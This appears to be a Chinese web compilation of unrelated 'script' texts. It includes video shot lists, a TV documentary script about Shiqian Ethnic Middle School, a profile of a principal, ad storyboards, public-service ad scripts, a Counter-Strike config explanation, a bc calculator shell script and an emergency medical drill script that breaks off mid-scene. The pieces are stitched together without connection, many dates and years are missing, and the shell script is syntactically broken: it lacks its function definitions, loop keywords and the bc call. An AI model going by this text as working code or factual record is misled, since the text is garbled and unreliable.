2023-03-18
2023-06-27
2023-07-05
2023-03-20
在执行上级党组织决定方面存在的问题及整改措施范文(通用6篇)
2023-06-15
更新时间：2023-12-03 20:25:15 发布时间：24小时内 作者：文/会员上传 下载docx
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2023-07-05
2023-03-20
在执行上级党组织决定方面存在的问题及整改措施范文(通用6篇)
2023-06-15
自我介绍的脚本
远景、近景、中景、特写、全景
1、从路上走向镜头 固定镜头中景 2S
2、介绍自己 我叫冯婷，来自江西赣州。 固定镜头 近景 3S
3、图书馆门前 固定镜头 全景 1S
4、走进图书馆 推镜头 2S
5、坐在图书馆的沙发上看书 固定镜头 5S
6、自我介绍 “我喜欢看书，喜欢在图书馆这种安静的环境下看书。” 3S
7、图书馆的环境 摇镜头 全景 2S
8、抱着书走出图书馆固定镜头 中景 3S
9、宿舍里书桌上的书摇镜头 全景 2S
10、拿着PS书，“我们学了PS，除了做做书上的作业之外，也会自己处理自己的照片啊 什么的，偶尔也会恶搞。”固定镜头 近景 7S
11、电脑屏幕――在做PS的作业 固定镜头 全景 2S
12、自己在偷着笑 固定镜头 特写 1S
13、在电脑前用PS恶搞朋友们的照片 固定镜头 近景 3S
14、自己在玩FLASH小游戏 固定镜头 中景 2S
15、游戏的相关介绍 固定镜头 特写 1S
16、手拿FLASH的书 “其实，是想学点FLASH的制作。” 固定镜头 近景 4S
17、实验室的门口的牌子 固定镜头 特写 2S
18、实验室的环境 固定镜头 全景 3S
19、做在计算机前介绍 “平时，我们就是在这上PS和FLASH课的，学校给我们提供了很好的`学习环境。” 6S
20、在教室上计算机维护与维修 认真的听课 推镜头 3S
21、笔记本上的笔记 固定镜头 特写 3S
22、计算机维护与维修实验室 固定镜头 特写 2S
23、上计算机维护与维修实验课的时候，忙着做实验 固定镜头 中景 3S
24、学校的大门口 固定镜头 近景 2S
25、边走在路上边总结 “在大学里，我始终认真的在学习新的知识，我觉得很有趣。” 拉镜头 全景 7S
26、做在草地上 “平时的我，也喜欢一些运动，跑步啦，还有羽毛球。” 固定镜头 近景 3S
27、早晨，在洗漱 固定镜头 中景 3S
28、走出宿舍 固定镜头 中景 2S
29、跑步的背影，从学校后门开始 固定镜头 全景 2S
30、从陶艺中心跑步回来 拉镜头 中景 3S
31、推宿舍门 固定镜头 中景 2S
32、拿着书去出去了 固定镜头 中景 2S
33、自习室 固定镜头 特写 1S
34、走进自习室 固定镜头 近景 3S
35、在自习室读书 固定镜头 近景 2S
36、羽毛球场上 “平时，我也喜欢打羽毛球。” 摇镜头 全景 3S
37、和朋友拿着羽毛球拍从宿舍门口出来了 推镜头 中景 2S
38、在路上和朋友聊着走向羽毛球场 推镜头 中景 3S
39、先是挂羽毛球网 固定镜头 全景 3S
40、开始打球我开始发球 固定镜头 近景 3S
41、朋友等待接球 固定镜头 近景 2S
42、朋友在接球 摇镜头 中景 3S
43、我们开心的打球 固定镜头 全景 3S
44、我们和打球的人一起坐在草地上休息，聊天 固定镜头 全景 3S
45、海慧游乐园里的烧烤园 “我节假日在这打工。” 固定镜头 特写 2S
46、在石板凳上准备一天要烧烤的东西 固定镜头 特写 3S
××集团有限公司是全国最大的碳酸饮料生产基地，在全国糖酒商品交易会期间，将在市中心天府广场设置大型广告景点，并开展“××（品牌名）”15周年大酬宾——“气球一响，人人有奖”、“××（品牌名）与幸福家庭摄影大赛”等促销活动，其目的是让广大消费者、参会经销商进一步了解“××（品牌名）”，显示企业实力，体现“××（品牌名）”感谢广大消费者的关爱，引导公众认可，增强经销商对“××（品牌名）”的信心和兴趣。
电视专题片脚本
巍巍佛顶山，云蒸霞蔚气象万千；滔滔龙底江，碧波荡漾风景秀丽。
中国温泉之乡、中国苔茶之乡、红二六军团两次经过并浴血奋战的革命老区--石阡，美丽的石阡民族中学坐落在美丽的龙底江畔。
这是一所有深厚历史底蕴的学校。起源于1951年简陋的教师速成训练班，60年沧桑巨变，从小学到七年制、八年制带帽初中，到完全中学，到独立高中，七易校名，七度改制，经历了初等教育和中等教育的几乎所有办学体制。
这，又是一所年轻而有朝气的学校。走进民族中学的行列仅仅18个年头，就获得国家、省、地、县各级各类奖励、表彰四百多项，先后被命名为全国群众体育先进单位，全国贯彻《学校体育》优秀学校，全国德育科研先进实验学校，全国作文教学先进单位，“创新写作教学研究与实验”实验学校，贵州省高中综合实践课试点学校，贵州省青少年业余训练先进单位，贵州省民族团结进步先进单位，贵州省红旗团委创建单位，铜仁地区体育传统项目学校，铜仁地区示范性普通高中。
石阡民族中学，有在校学生3300余人，开设53个教学班。229名教职工中，有专任教师191人，其中高级教师56人，中学一级教师86人，省地县骨干教师21人，受省部级表彰教师3人，县管专家1人。
为扩大规模，提升品位，抢占教育现代化制高点，办人民满意的教育，县委、县人民政府规划投入资金亿元，组织实施民族中学搬迁。8月，搬迁工程破土动工，3月一期工程基本完成，两年就实现了整体搬迁。新校区占地面积106193平方米，建筑面积43090平方米，绿化面积47600平方米，有全地区唯一的400米塑胶运动场。校园布局合理，功能齐全，环境优美。
在“以质量促发展，以特色创品牌”的办学理念下，石阡民族中学确立了“弘扬民族民间文化，发展学生个性特长”的办学目标，提炼出“明德修身，知行合一”的校训。教师“严谨治学、因材施教”，学生“博学深思，励志笃行”，整个校园洋溢着“团结勤奋、求实创新”的精神风貌。
以质量促发展，是石阡民族中学的立校之本。
、、连续3年全县高考理科状元都出自石阡民族中学。，石阡民族中学高考取得重大突破，211工程院校录取63人，本科院校共计录取359人，升学率达。教育教学质量年年上升，《铜仁日报》曾以《三类生源，一流质量》为题，探求石阡民族中学是怎样火起来的'。
以特色创品牌，是石阡民族中学的强校之因。
建校之初，民中人提出创办特色学校，以“学校有特色、教师有特点、学生有特长”为办学目标，掀起了为期八年的创业高峰，走在全省前列，率先实现了县级农村中学教育技术现代化和信息技术普及化，为学校改革和发展奠定了坚实的物质基础。
高中扩招以后，学校以抓好文化素质为前提，以特色班、校运会、艺术节等为主要载体，重点抓好体育、音乐、美术特长生的培养。学校组织了篮球队、田径队、舞蹈队、军乐队、合唱团、木偶戏艺术团等，长期坚持训练，对学生进行多方面的素质培养。其中，尤其以体育为重，体教结合双管齐下，体育强校重点突破，将特色办学引向深入，各项工作发生了质的飞跃，呈现出体育工作中心开花，教育教学全面结果的大好局面。，石阡民族中学获两项国家级体育工作表彰，贵州电视台《今日视点》也专题介绍石阡民中“体教结合，体育强校”的特色办学;《铜仁日报》推出《特色鲜明的民族教育之花--石阡民族中学“三特”办学纪实》。
经过多年的探索和实践，石阡民族中学的民族文化进校园已形成体系。学校把传承民族民间文化和课堂教学结合起来，拓展教学理念，激发学生兴趣，发现学生特长，培养学生对本民族文化的认同，开展“民族民间文化进校园、民间体育进课堂”课题研究，把踩高跷、踢毽子、斗鸡等民间体育纳入校运会比赛项目，使民间体育有了很好的传承。
作为铜仁地区体育传统项目学校，石阡民族中学对开展阳光体育、增强师生体质十分重视。以来，学校田径队代表石阡参加地区“三好杯”田径运动会，实现四连冠，多次代表地区参加省级以上赛事，取得了建国以来铜仁地区最好成绩，培养出14名国家二级运动员。
如果说，民族民间体育进校园是人有我优，那么，木偶戏进校园则是人无我有的创举。初，国家第一批非物质文化遗产名录公布，石阡毛龙和木偶戏双双入选。石阡民族中学迅速将木偶戏传人请进校园，对木偶戏开展抢救、保护和传承工作。
六年来，在千年古寨楼上民族文化村、尧上仡佬族敬雀节、重走长征路火把传递、温泉文化旅游节和苔茶文化旅游节上，石阡民族中学木偶戏艺术团都作了精彩表演，得到百余名中外记者的关注和采访。《贵州日报》《铜仁日报》《贵州都市报》记者曾经担忧，濒临失传的石阡木偶戏――这份宝贵的国家非物质文化遗产到底传给谁？现在，石阡民族中学已经给出了让人放心的答案。
传承民族文化，弘扬民族精神，民族民间体育进校园和木偶戏进校园，构成了石阡民族中学特色办学的两大亮点。
办民族特色教育，成就昨日的辉煌；创地级省级示范，展现独特的魅力。两年完成整体搬迁，石阡民族中学发展神速；一年成为地级示范高中，石阡民族中学潜力巨大。
长风破浪会有时，直挂云帆济沧海。今天，作为石阡教育的一颗明珠，作为石阡形象的一张名片，石阡民族中学正以饱满的热情，昂扬的斗志，坚定的信念，向省级示范性普通高中迈进。
脚本初中作文
不能轻易进入对方的世界，对方也不能轻易找到的通道。
这就是我的友情。
寡淡而过渡。
我是很小心眼的。为了一点和自己过意不去的小事情就生气，却在下一秒就原谅了对方。如果实在太纠结，那也只可能是因为某个问题自己暂时还没有想通而已。比如**为什么要插列；**为什么这么势利；**为什么爱跟我学等等。
习惯给喜欢的东西取一个亲切的名字，或以特殊的称谓进行交流。
比如：小西=罗茜、魔拉=一块大草坪、大妞=黄可磊、人气小天后=琴姐……
男么么、女么么、Z、春天、招牌动作、雕牌透明皂、西西、胖大海、阿长、阿短、打波E、蛋挞、……还有至今未想好名字的胡同学。
当然还包括白菜的那一帮帮菜头儿们。
我的友谊网像一个大筛子，遇到的很多，最终没被过滤掉的'很少。
我不知道是不是我太过敏感、太过愚钝，还是没人能把握好我脾气变化的周期。总之、我不适合有太多朋友。
经过初中冗杂的小女生的生活，那些种种：力力、钟瑷琳、琴姐、PAPA、YO姐……不管怎样笼统地分出好人坏人，都渐渐让我看清，没有真正的友谊。像在钟瑷琳的事发生以后我在日记中写道：“朋友只是由于暂时地拥有共同的利益而上了同一条船。而那些断然认为的知己，只是因为他们的利益比较纯粹罢了。”
校长电视专题片脚本
人们常说：一个好校长就是一所好学校。南城县第一小学校长曹华庚就是这样一位有都着务实的工作作风、先进的教育理念和强烈的公仆精神的好校长。他以自己独特治校方略和管理方式，短短三年来，将一所基础差、底子薄的城区新学校办出特色，被人们称为“三牛”校长。
“拓荒牛”的锐气 打造“绿色”学校
曹华庚，1988年参加工作以来，先后担任县实验小学教导主任、副校长等职务。7月，曹华庚凭着自己的实力，成为南城县首位竞聘上岗的校长。从走上校长岗位的第一天起，曹华庚坚信一定要把南城一小办好、办出特色。上任之初，曹华庚结合本校现状，确定“快乐学习、健康成长、全面发展”的新时期学校的办学理念，打造“择善而行、登高致远”的校园文化--“择善而行”：引领全体师生择善书而读，择善人而交，择善言而听，择善事而为，择善行而从，与善为友，携手良善；“登高致远”：激励全体师生要胸怀大志，志存高远。
刚刚建成的南城县第一小学，只有区区两幢教学大楼，校园的绿化、操场等其他设施设备还没有完善，教育教学管理一切从头做起。为改变现状，曹华庚身先士卒，白天，他带领教师栽树植草，搬砖填土；晚上，他和值班老师忍受着蚊虫的叮咬、高温的烘烤、黑夜的煎熬，兴致盎然地探讨学校定位、发展方向、三年规划等一系列的话题。为了搞好教学，他走进课堂和老师探讨。为了搞好学校管理，他常常伏案工作到深夜。为了启动学校二期工程建设，他来往奔波……老师们被他的这种忘我工作的精神深深感动着--
（同期声）南城县第一小学教师曾燕平：“三年过去了，我们大家还清楚地记得，建校之初，曹校长什么事都亲历亲为，冲洗教室，购置教学设备等……”南城县第一小学教师黄新晟：“虽然只需10多分钟，他就可以回到自己的家，但从星期一到周末一半以上的时间，他都在学校里住宿，没有宿舍，他就睡在教室里……”
“乱收费、乱补课、乱订教辅资料”现象，一直是社会关注的热点问题。他从警示教育入手，认真开展师德师风大讨论，和教师签订《师德师风责任书》，并向家长作出公开承诺。到目前，该校无一例乱收费现象、无一例乱补课行为、无一例乱订教辅资料事件、无一例家长或社会投诉。
“一份付出，一份收获”，在他和全校教师们共同的努力下，如今，走进校园，绿草如茵、鸟语花香，荣誉墙上各种奖牌熠熠生辉，学校管理井然有序。
“孺子牛”的情怀 温暖师生心田
身为校长的曹华庚，不仅带头搞好教学，对师生更是投入无微不至的关怀。
在第一小学这个大家庭里，哪位老师有困难、哪位学生有艰辛，曹华庚总是第一个出现在他们身边，孩子们都把他当成“亲爸爸”，老师们都把他当作“好兄长”。
学校五年级三班的章润同学是位留守儿童，母亲早逝，父亲在外打工，章润只能跟着70多岁的老奶奶一起生活，因为缺少父母关爱，章润性格孤僻，学习成绩一直上不去。曹华庚了解情况后，主动和章润结成帮扶“对子”，有事没事经常去章润家走动，不时送一些课外书和学习用品给他，并且在章润所在的班级成立了帮扶小组，让同学们主动和他交朋友，辅导他的学习，现在的章润不但性格开朗，而且学习成绩也节节攀升。
（同期声）南城县第一小学学生章润：“曹校长和同学们都对我很好，我在这里读书，好像是在一个大家庭里生活，我感到很幸福！”
在曹华庚的带动下，全校所有老师都主动和班上的留守学生结成了对子，把学生当成自己的孩子，把家长当亲人，有力地促进了教育教学事业的发展，树立了南城一小良好的对外形象。
因为是新学校，条件艰苦而且待遇不高，青年教师张正良一度产生了去海南教学的念头。为了留住有限的师资力量，曹华庚在工作生活上，像兄长一样对他处处关心，经常与他一起探讨学校的定位、办学思路、规划发展……
（同期声）南城县第一小学教师张正良：“虽然在私立学校的待遇比这边要高得多，但是，曹校长用真情留住了我，让我觉得留下来比出去要好，也是曹校长让我看到了学校发展的希望，我有信心在曹校长的带领下把南城一小办成一所名校……”
“老黄牛”的执着 推动教学提升
曹华庚说他从边远的农村来，有着农村人的`质朴与勤奋。而在第一小学所有的师生们眼中，他就像田野间默默耕耘的“老黄牛”，默默奉献，不求索取。
为了在老师中间形成良好的“赶帮超”态势，曹校长亲自搭台让老教师与年轻教师在一起唱戏，让每位老师除了上好自己的课外，还互相听课，取长补短。他只要有时间就走进课堂听课，与老师共同探讨。在校长的亲身引领下，在老师们中间形成了互相学习、共同提高、积极向上的良好氛围。
（同期声）南城县第一小学教师段秀珍：“校长工作那么繁忙，他还能静心听课，认真研讨，作为老师，我们没有理由不做好自己的本职工作。”
于是，南城一小的老师们忙碌了、充实了，他们工作的目标更明确了，劲头更足了。上课之余，老师谈的是学生，聊的是课堂的得失，大家互帮互学，争相比进步。同时，他又创造性地在开展语文、数学科“同课异构三个一”（说课、上课、评课）系列化教研活动，采取“走出去、请进来”的办法让教师在名师引领下，实现专业化成长。在曹华庚带领一班人指导下，余丽娜老师更是成为江西省20唯一参加在成都举行的全国优质课竞赛。三年来，该校黎燕、封卫东、邱远等十多名教师先后代表省、市、县参加各类教学竞赛，并取得优异成绩。学校也先后获得了“语言文字规范化示范校”“平安校园示范校”“先进集体”“师德师风示范校”等国家、省、市共十多项荣誉称号，并由省教育厅向教育部推荐申请“全国书写特色学校”。他本人先后获省“骨干教师”、省“优秀学科指导教师”、市“优秀教师”、市“学科带头人”、市“民族团结进步模范个人”、县首届“十大教坛精英”之“优秀校长”、县“十佳教学能手”等称号。9月，曹校长被推选为市教育系统先进人物，在全市巡回演讲。
（同期声）南城县第一小学教师朱素华：“一想到上班，我就觉得是件充实的事、幸福的事……”南城县第一小学教师江根林：“曹校长就是一所好学校，充满着人格感染力，学也学不完……”南城县第一小学校长曹华庚：“正如苏霍姆林斯基所说，我愿意首先成为学校文化和思想的引领者，也愿意成为学生快乐成长、老师幸福施教、学校绿色发展的服务者。以拓荒牛的锐气和坚韧，以孺子牛的温情和智慧，以老黄牛的执着和勤勉，努力把南城县第一小学办成一所优质的、人民群众满意的学校。”
在未来的岁月里，这位秉承“踏实做事，谦卑做人”原则的校长，一定会在这条神圣的教育之路上走得更远，为教育事业书写更华丽的 篇章！
20xx年6月底
命名的价值：
20XX龙泉湖水上文化节的命名，首先突出了地区旅游的特色，给了龙泉湖一个整体的定位，说明龙泉湖不仅仅是一个湖，更是水上景致和文化特质的结合体；其次，命名具有可拓展性，可拓展为20XX龙泉湖水上文化节等，使得活动每年都可以举行，让龙泉湖年年成为公众的焦点，也让本地区因为龙泉湖水上文化节而年年成为区域焦点。
对游客的价值：
一年一度的水上文化节，可以聚八方来客，让游客全方位体验龙泉湖的景致，体验龙泉湖无限风光，感受本地区的人文精神、民俗民风和艺术活动的独特魅力，让游客充分享受文化节各项商贸活动带来的购物乐趣。
对旅公司的价值：
1、提升龙泉湖及其相关区域的知名度和影响力；
2、通过各景点的合理布置、收费和各项商贸活动的举办，增强旅游公司的综合实力；
3、带动周围经济的发展，利国利民；
对地区企业的价值：
1、文化节对游客和众商家的吸引，为本地区企业的发展创造更广大的商贸平台；
2、文化节可以迅速提升企业在本地区的影响，特别是对文化节全程冠名赞助的企业；
3、商贸活动和展览、展销活动，可迅速提升销量，并可获大量定单；
4、企业借文化节的影响可自行举办各项活动，从而全面提升竞争力。
对政府的价值：
1、促进了本地区旅游业的发展；
2、扩大了本地区在全省乃至全国的影响；
3、有效提升本地企业的经济效益和综合竞争力；
4、经济和旅游业的发展，能有效提高就业率；
5、在影响力巨大的文化节影响下，使得有关政府其它项目的洽谈更有利于本地区经济的发展，并可借此吸引更多的投资；
6、丰富的百姓的文化娱乐生活，传扬了地区特有文化；
7、能有效提升政府政绩。
对本地区人民群众的价值：
1、丰富了人民群众的文娱生活；
2、可以提高就业率，减少就业压力；
3、旅游业和经济的发展，可以增加居民收入，提高生活水平；
4、可以发扬本地区文化。
篇 名：《潜水篇》30秒
主 题：无论你身在何处，中国移动都能带给你意想不到的
镜号 景别 镜头运用 画 面内 容 时间 字幕 画外音
1 全景 俯拍 平静的海面，漂荡着一艘豪华游艇。一妙龄女郎悠闲的倚在船舷
上，望着远处的海水。 3
2 近景 切换 女郎从茶几上拿起手机，修长的手指轻盈地拨着号码，凑近耳旁
倾听， 2
3 中景 切换 宁静神秘的海底世界，一男子在悠然的潜水，欣喜的观看着在身
边游来游去的各式各样的海中生物。 2
4 特写 突然从男子腰间传出的手机呼叫声，打破了海底的宁静。
5 中景 电脑特技 周围的鱼儿都左顾右盼，嘴巴一张一翕，不停的吐着汽泡儿，好
像在商量着什么似的。 2
6 近景 推 鱼儿都发现了男子腰间那一闪一闪的发光的银色物体 2
7 近景 拉 男子从腰间取下手机，按下免提功能键接听来电。 2
8 特写 电脑特技 鱼儿怒气冲冲地朝男子包抄过来，像离弦的箭一样从四面八方射
向男子。 3
9 中景 切换 男子发现周围的鱼都朝他冲过来，吓得连忙把手机仍了 2
10 特写 手机中传来女郎娇滴滴的问候声。“喂！你在海底下还好吗？我
想你，快上来吧！” 3 喂！你在海底下还好吗？我想你，快上来吧！
11 近景 电脑特技 一条大鲨鱼用嘴接住手机，奋力跃出了水面，其它的.鱼也相跟着
纷纷跃出了水面。 3
12 大特写 切换 蔚蓝的海面上跃起一只银色的海豚，海豚在妙龄女郎面前摆了个
优美的“S”型舞姿。 3 无论你身在何处中国移动都能带给意想不到的。
13 特写 淡出 舞姿定格，蓝底白纹的中国移动标志从舞姿中突现出来。
2 沟通从心开始中国移动通信
脚本是批处理文件的延伸，是一种纯文本保存的程序，一般来说的计算机脚本程序是确定的一系列控制计算机进行运算操作动作的组合，在其中可以实现一定的逻辑分支等，脚本程序相对一般程序开发来说比较接近自然语言，可以不经编译而是解释执行，利于快速开发或一些轻量的控制。现在的脚本语言是比较多的，一般的脚本语言的执行只同具体的解释执行器有关，所以只要系统上有相应语言的解释程序就可以做到跨平台，
脚本(Script)，就是含有bind和alias等命令的集合，你可以把这个集合存为一个独立的文件然后在需要的时候执行，这样就可以方便你在CS中的使用。脚本可以存为后缀名为.cfg的文件放在cstrike文件夹下，执行时在控制台输入：exec（脚本文件名）.cfg即可。比如将一个脚本存为文件，则在控制台中输入：则可以实现我们所需要的功能。要实现一个命令只要把这一过程定义(alias)好，并且分配一个键位给这个命令，以后只要按分配好的键位，就可以实现这一过程。所有的脚本都是通过这一方法实现的。
#!/bin/sh
# -- 一个看起来像是bc的前端的命令行计算器
scale=2
show_help
cat << EOF
In addition to standard math function, calc also supports
a % b remainder of a/b
a ^ b exponential: a raised to the b power
s(x) sine of x, x in radians
c(x) cosine of x, x in radians
a(x) actangent of x, returns radians
l(x) natural log of x
e(x) exponential log of raising e to the x
j(n, x) bessel function of integer order n of x
scale N show N fractional digits(default = 2)
EOF
if [ $# -gt 0 ]; then
exec “$@”
echo “Calc - a simple calculator. Enter 'help' for help, 'quit' to quit.”
echo -n “calc>”
while read command args # 像不像Python的顺序解包
case $command in
quit|exit) exit 0;;
help|\?) show_help;;
scale) scale=$args;;
*) -p $scale “$command” “$args”;;
esac
echo -n “calc>”
done
echo “”
exit 0
脚本如何运行：
可能这个脚本最有意思的部分就是那个while循环了，
交互式计算器脚本
它创建一个calc>的提示，直到用户完成输入。当然，这个脚本的间接性成就了它自己：shell脚本并不需要特别的复杂。
运行脚本：
这个脚本跑起来非常简单，因为它是一个交互式的，可以提示用户完成特定操作。如果有参数传递给它，它就转而把这些参数传给。
运行结果：
calc 150 /
Calc - a simple calculator. Enter 'help' for help, 'quit' to quit.
calc>help
In addition to standard math function, calc also supports
a % b remainder of a/b
a ^ b exponential: a raised to the b power
s(x) sine of x, x in radians
c(x) cosine of x, x in radians
a(x) actangent of x, returns radians
l(x) natural log of x
e(x) exponential log of raising e to the x
j(n, x) bessel function of integer order n of x
scale N show N fractional digits(default = 2)
calc>54354 ^ 3
160581137553864
calc>quit
公益广告是以为公众谋利益和提高福利待遇为目的而设计的广告，是企业或社会团体向消费者阐明它对社会的功能和责任的广告。
镜头一：远处缓缓驶来一辆满载到终点站公交车镜头二：转换至候车的人群。（拉至全景）整个人群随着公交车的到来而一拥而上挤到车边。
镜头三：特写其中的一名妇女：身穿红色衣服，手提着刚买的菜，拎着包，一脸焦急样，不时看手表，位于人群的中间挨着车的中后方。镜头四：（从车内往外）她上方的车窗开着，妇女顺手将手里的包扔上了车，正好落在位置上。
字幕：用包抢位„镜头五：（从人群后）车门缓缓打开，人们争先恐后的向上挤，怕没了位置。镜头六：（中景跟踪妇女拍摄）妇女并不十分慌忙，不像前面的人一样疯狂挤上去，但还是在尽力，直到妇女终于上车的一刹那，画面停止。
字幕：然而„镜头七： 妇女站在车厢中，手还是拎着菜。妇女慢慢挤到她刚才扔包的座位，（特写）一个身穿蓝色休闲服中年男人带着墨镜悠然自得的坐在那个座位上，右手靠在窗框上，左手拿着妇女的包，头朝这窗外。
镜头八：（中景取于妇女与男人之间）妇女脸色变得阴沉，有点大声地开口道：这是我刚才用包占的座位，请给我座。（镜头略为放远，周围的人都静了下来，看着这两人）男人不慌不忙带点讽刺地开口道：这座位我人先占的，凭什么让你？！这你的包啊？还给你。
说罢生硬地将包放在妇女手里。镜头九：（特写）拿包后妇女脸色更加难看，已为愤怒的表情，伸出手指着那个男人，正要破口开骂。
（此瞬间画面停止）字幕：尖锐，带来的仅仅是矛盾。背景音变得小些。
镜头十：车马上启动。路过两个小孩，背着书包，从外面见到车厢内发生的事停止了前进。
镜头十一：（特写）一个可爱的小女孩一脸略为惊吓的表情，小声地问边上的男孩：大人们好可怕啊，公交车只会吵架吗？以后还是不坐了。镜头十二：（特写）可爱的小男孩。
微笑着回答：不（转至中景），他用手指着另一边。场景：色彩变得明亮，嘈杂声变得更为小。
镜头十三：另一辆公交车开来。仍然拥挤的人群。
镜头十四：车门打开，人群要拥上去。突然从中冒出个清脆的女声：大家请慢一点，这里有一位老奶奶！人们速度变慢了，朝发声处望去。
镜头十五：一个20出头的女生边上有一个拄着拐杖的老婆婆。人们让开了一条路，老年人慢慢的上了车找到座位坐下。
镜头十六：人群又合在了一起上车，不过较之刚才已经不那么争先恐后了。镜头十七：（转向那女生）只见她在人群的最后慢慢上了车。
镜头十八：车门合上，司机回过头对着那个女生微笑，并竖起了大拇指，女生回以一个温柔的笑容。镜头十九：在女生边上一个坐到座位的青年人主动站了起来，朝着那个女孩笑着说：你好，你坐吧，我能站的！说罢将女生送到了座位上。
女生很不好意思的微笑：那谢谢了。青年人摸着脑袋说到：不用不用，应该的。
镜头二十：（车厢全景）人们都鼓起了掌，车厢内充满笑声。背景音：响起温馨的音乐镜头二十一：车慢慢的开远了。
镜头二十二：（转向那两个小孩）（特写）女孩刚才略带惊讶的脸上重新浮现可爱笑容，拉：嗯，还是那个姐姐好，我以后也要像那样。男孩也微笑着背景音：比刚才更为大声。
镜头二十三：两个小孩手牵着手蹦蹦跳跳的又走在了回家的路上，不时传出两人的笑声。动画：白色背景（红色字从右边挨个出现）一颗关爱的心带来的不仅仅是一份关爱这些字最后变成一个红色的心形。
位于屏幕正上方。下面出现一排小字：爱，让世界变得更美好。
以公益事物为信息主体的广告文案所包含的主要信息类别包括：社会公德、环境保护、慈善救助、禁烟、卫生健康、反吸毒。画面一：桌面上有一杯水 （特写水的纯净） 画外音：水就好比大自然的血液画面二：将一滴人的血滴入水中画面三：镜头拉近 特写血和水在一起的反应 （血液扩散 分解 和水相融 二者融为一体 最后合二为一）画面四：画面定格在这杯水血相融的液体上 画外音：而人的血液 却能与水相融画面五：屏幕呈现两个字：“亲情”公益广告文案篇2妈妈，我好累。
镜头一：（女儿收拾画夹准备去少年宫。）妈妈：媛媛，隔壁张阿姨的婷婷在学钢琴。
我已经给你报了，以后一三五晚上妈妈陪你去学琴。（女儿沉默不语，低着头，收拾完，出门）镜头二：（母女俩给钢琴老师说再见）妈妈：女孩子家，学个跆拳道防身也好。
我给你报了跆拳道班，周天早晨，妈妈送你去。（女儿沉默不语，低着头，呆呆的看路。）
镜头三：（跆拳道下课后，妈妈等着女儿）妈妈：媛媛，从下周六开始，就不要去奶奶家了，我给你报了奥数班。要好好学，妈妈费了好大劲才排上的。
（女儿沉默不语，低着头，默默流泪）镜头四：（家长会现场）班主任：司媛媛妈妈，媛媛近一个月，突然不爱说话了，总喜欢一个人发呆，有同学反应，她经常落泪，是不是家里出什么事了？ 妈妈：家里没事啊。老师我回。
广告能够发挥营销传播作用，除了营销传播渠道之外，最为重要就是广告脚本的创意，北京立钧世纪营销策划机构认为，广告脚本作为营销传播的用途，无论创意多么天马行空，其根本都不能脱离创造力和吸引眼球，随着80后90后00后新生代消费群的迅速崛起，面对新生代消费群的营销传播的广告脚本创意，将更加具有时代性和现代性，它要求创意者必须遵循如下五大标准。
标准一：好的广告脚本是创造内容而不是呐喊口号。
内容营销越来越不可或缺，广告就是其中一项最为重要的内容。过去，我们会看到很多通过口号的魅力来实现营销传播的目标，也有一些成功的广告脚本主要是通过强烈而有针对性的文案表达来实现广告目的。然而，随着市场营销进入到营销革命时代，广告脚本创意风格和模式也已发生了根本性的变化，它要求广告能够适应新生代消费群的欣赏品味和沟通体验。
这里边，任立军指出，营销革命时代，广告脚本创意的核心是通过短暂的时间创造出抓住消费者心理的内容，这个内容，可以是一个故事，可以是一段情感表达，它要求用最短的时间把故事推向高潮、把情感推到极致。这就要求，广告脚本创意者在阐述故事和情感表达时精炼且“笔不留尘”。
标准二：好的广告脚本创意要注重节奏感。
通常，专业的广告策划专家会在广告脚本创作过程中，自然而然地依据广告内容主题联想到相应的广告节奏，这时候，他需要试听大量的具有代表性节奏感的音乐，以此而寻找符合广告脚本内容的节奏和音乐表达形式。这样拍摄出来的广告片才能更具艺术性和节奏感。
标准三：好的广告脚本创意元素与品牌元素保持理念一致。
在广告脚本创作实践当中，广告脚本创意元素要与品牌元素保持理念上的一致。这样，才能够使品牌理念得以通过广告传播达到品牌传播的目的。
标准四：好的广告脚本创意要抓住产品卖点。
广告片的创作不同于电影电视剧，它本身具有商业营销性质，因此，在广告脚本创意时，一定要抓住产品卖点。无论创意多么天马行空，都要围绕着产品卖点而服务。在写作广告脚本之前，一定吃透产品身上的所有信息，理清哪些特征能作为产品卖点，吸引消费者购买。一旦确定了卖点，在写作广告脚本时就要不遗余力的钉住这些重要的点进行阐述表达发挥，就像挂在墙上的画，需要若干个图钉来固定。产品要在脚本中立起来，就需要这些卖点的有力支撑。所以，咬死卖点是广告脚本写作的核心与关键。
其实，营销实践当中，越来越多的广告策划专家把注意力集中于产品买点，从消费者的角度来做创意，增加消费者购买产品的买点，这比过去单纯突出产品卖点的强硬传播方式更加有效。
应急演练脚本
武城县重大交通事故应急医疗救
援演练活动情景脚本
一、演练启动仪式
（一）8:30-9:00，参加演练人员及车辆集中列队
场景：
全体参加演练人员在急诊科门前列队，医护人员顺序自北向南3列12人；救护车1-4号车头向北依次排列。伤病员演员不列队，直接到指定位置就位。
（二）9:00分，主持人任玉方副院长介绍参加演练活动的各位
领导等
主持人：今天，武城县人民医院在这里举办以医疗救援为主的重大突发公共事件紧急医疗救援演练活动。出席本次活动的领导有：
县卫生局副局长 吕新哲同志、县卫生局副局长 应急办主任 周凤柱同志、县人民医院院长 党委书记 范承岗同志
下面，进入演练程序。
场景：
1、现场指挥张国柱同志向参加演练的人员发出指令：请大家各就各位、做好准备，开始演练。
2、参演人员和车辆疏散，到待命点准备。
视频内容：
突发公共事件发生的场景和救援场面，PPT播放（四个种类的突发公共卫生事件） 是指突然发生，造成或者可能造成重大人员伤亡、财产损失、生态环境破坏和严重社会危害，危及公共安全的`紧急事件。根据社会危害程序、影响范围等因素，可分为特别重大、重大、较大和一般四级。突发事件的构成要素：突然爆发、难以预料、必然原因、严重后果、需紧急处理。 突发公共事件主要分为以下四类：自然灾害。主要包括水旱灾害，气象灾害，地震灾害，地质灾害，海洋灾害，生物灾害和森林草原火灾等。事故灾难。主要包括工矿商贸等
企业的各类安全事故，交通运输事故，公共设施和设备事故，环境污染和生态破坏事件等。 公共卫生事件。主要包括传染病疫情，群体性不明原因疾病，食品安全和职业危害，动物疫情，以及其他严重影响公众健康和生命安全的事件。社会安全事件。主要包括恐怖袭击事件，经济安全事件和涉外突发事件等。
参加此次演练的有急救中心12名工作人员，急救车4辆，医疗救援物资保障车1辆。本次演练是我县医疗卫生系统响应市卫生局卫生应急大练兵大比武活动的一项重要内容。
演练马上就要开始了??
二、事故发生和救援
（一）9:10分，120急救中心接警并调度救援力量
场景：
120急救中心接警，接警员接到市调度中心电话，简要了解伤员数量和情况后，立即派出值班救护车赶往现场，之后立即上报医院公共卫生科。
视频内容：
120急救中心接警画面。
救护车及医护人员出动。
三、现场救援
（一）9:20分，第一批救援人员到达。
场景：
1号救护车进入。
医务人员检伤分类。
视频内容：
医务人员对伤员进行检伤分类的画面。
解说词：
